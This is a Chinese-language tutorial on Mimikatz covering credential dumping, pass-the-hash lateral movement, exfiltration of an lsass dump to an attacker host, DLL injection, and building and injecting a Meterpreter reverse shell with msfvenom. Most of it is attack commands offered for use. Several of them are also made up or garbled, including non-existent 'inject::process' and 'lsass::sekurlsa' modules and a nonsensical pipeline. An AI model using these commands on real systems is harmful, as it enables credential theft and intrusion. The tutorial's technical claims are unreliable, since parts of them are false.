您的位置:

Mimikatz 使用教程

mimikatz 是一款用于 Windows 系统的免费开源密码查看工具,它支持从散列密码到明文密码的转换操作,同时还可抓取 Windows 口令、PIN 和凭证等。本篇文章将从多个角度介绍 mimikatz 的使用方法,包括基本用法、横向渗透、提升权限、DLL 劫持以及 AV 防护绕过等内容。

一、基本用法

mimikatz 的基本操作主要包括三个命令,分别是 sekurlsa、lsadump 和 token。其中 sekurlsa 可以用于抓取当前系统登录者的各种密码,如明文密码、NTLM hash、Kerberos TGT 等;lsadump 可以从本地 SAM 数据库和远程 SAM 数据库等中提取 Windows 的密码、凭证等信息;token 命令可用于模拟权限,将 mimikatz 的进程权限提升至系统级别,从而绕过一些限制,例如 VBS 脚本等。

1、使用 sekurlsa 命令抓取 Windows 登录者密码:

privilege::debug
sekurlsa::logonpasswords

2、使用 lsadump 命令提取 SAM 数据库中的密码:

lsadump::sam
lsadump::secrets
lsadump::cache

3、使用 token 命令提升权限:

token::elevate
token::whoami

二、横向渗透

在攻击中,mimikatz 还可以用于进行横向渗透,进而获取更多机器的权限。通过远程执行 mimikatz 命令,我们可以利用被攻击机器已经获得的权限,尝试获取其他机器的口令和凭证。以下是基本使用方法:

1、在被攻击机器上执行以下命令:

sekurlsa::pth /user:Administrator /domain:test.com /ntlm:f1cedbd432e8d3ea0c1c64a1ac4a9d1c /run:powershell.exe

其中,/user 参数指定管理员账户名称,/domain 指定域名,/ntlm 是 hash 值,/run 参数指定要运行的程序。执行该命令后,会返回一个新的控制台。

2、在新控制台中,执行以下命令:

$password = ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential("test\user", $password)
Invoke-Command -ComputerName <IP> -Credential $cred -ScriptBlock { lsass::sekurlsa /full } | .\mimikatz.exe "sekurlsa::minidump lsass.dmp"
Invoke-WebRequest -URI 'http://<Attacker_IP>/lsass.dmp' -Method PUT -InFile lsass.dmp

其中,$password 表示指定的密码,$cred 是强制指定的凭证对象,-ComputerName 是远程机器的 IP 地址,lsass::sekurlsa /full 是执行的命令,Invoke-WebRequest 是访问远程地址的命令。执行该命令后,会将 lsass.dmp 文件上传到攻击机器上。

3、使用 mimikatz 分析 lsass.dmp 文件。攻击者在自己的机器上执行以下命令:

sekurlsa::minidump /in:"<path_to>\lsass.dmp"
sekurlsa::logonpasswords

该命令会打印出 lsass 进程中存储的所有凭证和口令。

三、提升权限

mimikatz 还可以通过提升权限来绕过账户限制,获取更高的权限,从而执行敏感操作。常见的方法有 DLL 劫持和管道提权。

1、DLL 劫持攻击。攻击者需要寻找 DLL 容器、DLL 记录表等方式,执行以下命令:

privilege::debug
inject::process /name:lsass.exe /path:C:\temp\mydll.dll

其中,/name 指定进程名,/path 指定要注入的 DLL 文件路径。执行该命令后,攻击者会成功注入 mydll.dll 文件。

2、管道提权。攻击者可以通过提高自己或其他用户的权限,获取系统级别的权限。执行以下命令:

privilege::debug
lsadump::lsa /inject /name:<user_name> /password:<password>

其中,/inject 参数表示注入,/name 是账户名称,/password 是密码。执行该命令后,攻击者可以成功获取更高的权限。

四、AV 防护绕过

在攻击中,mimikatz 还可以用于绕过防护软件的检测,例如使用 Meterpreter 的反弹 shell。攻击者可以通过以下方式执行:

1、将 Meterpreter payload 复制到本地机器上:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe -o meterpreter.exe

2、使用 mimikatz 注入 Meterpreter 流量,执行以下命令:

privilege::debug
inject::process /name:explorer.exe /path:D:\meterpreter.exe

其中,/name 指定进程名,/path 指定要注入的 DLL 文件路径。执行该命令后,攻击者会成功注入 Meterpreter 流量,并拦截密码。

总结

mimikatz 是一款功能强大的密码查看工具,在 Windows 渗透和后渗透过程中起到了很好的作用。在使用过程中,需要特别注意安全防范,避免工具沦为犯罪工具,造成不必要的麻烦。